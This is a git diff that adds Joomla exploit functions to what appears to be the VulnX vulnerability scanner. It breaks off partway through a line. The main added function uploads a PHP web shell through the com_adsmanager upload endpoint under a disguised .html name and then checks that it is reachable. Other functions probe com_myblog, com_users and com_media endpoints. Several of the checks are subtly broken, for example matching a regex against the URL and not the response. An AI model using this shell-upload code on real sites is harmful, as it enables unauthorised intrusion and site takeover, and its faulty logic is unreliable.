diff --git a/modules/jooExploits.py b/modules/jooExploits.py index 3fe6dcd..12728ba 100644 --- a/modules/jooExploits.py +++ b/modules/jooExploits.py @@ -7,6 +7,9 @@ year = now.strftime('%Y') month= now.strftime('%m') +import os +Session = requests.Session() + from common.colors import failexploit , vulnexploit , que , info , good from common.requestUp import sendrequest as vxpost from common.requestUp import getrequest as vxget @@ -169,3 +172,53 @@ def joomla_foxcontact(url,headers,timeout): else: print (' %s fox Contact %s' %(que , failexploit)) +def comadsmanager(url,headers): + endpoint = url + "/index.php?option=com_adsmanager&task=upload&tmpl=component" + img = open('shell/VulnX.php', 'rb') + name_img= os.path.basename('shell/VulnX.html') + files= {'image': (name_img,img,'form-data',{'Expires': '0'}) } + upload_file = Session.post(url,files=files) + shellup = url + "/tmp/plupload/VulnX.html" + checkShell = requests.get(shellup).text + statusCheck = re.findall(re.compile(r'VulnX'),checkShell) + if statusCheck: + print(' %s comadsmanager %s %s' %(que,vulnexploit,shellup)) + else: + print(' %s comadsmanager %s' %(que , failexploit)) + +def comblog(url,headers): + endpoint = url + "/index.php?option=com_myblog&task=ajaxupload" + checkShell = requests.get(endpoint).text + statusCheck = re.findall(re.compile(r'has been uploaded'),endpoint) + if statusCheck: + print(' %s comblog %s %s' %(que,vulnexploit,endpoint)) + else: + print(' %s comblog %s' %(que , failexploit)) + +def comusers(url,headers): + endpoint = url + "/index.php?option=com_users&view=registration" + checkShell = requests.get(endpoint).text + statusCheck = re.findall(re.compile(r'jform_email2-lbl'),endpoint) + if statusCheck: + print(' %s comusers %s %s' %(que,vulnexploit,endpoint)) + else: + print(' %s comusers %s' %(que , failexploit)) + +def comweblinks(url,headers): + endpoint = url + "/index.php?option=com_media&view=images&tmpl=component&e_name=jform_description&asset=com_weblinks&author=" + token = re.findall(re.compile(r'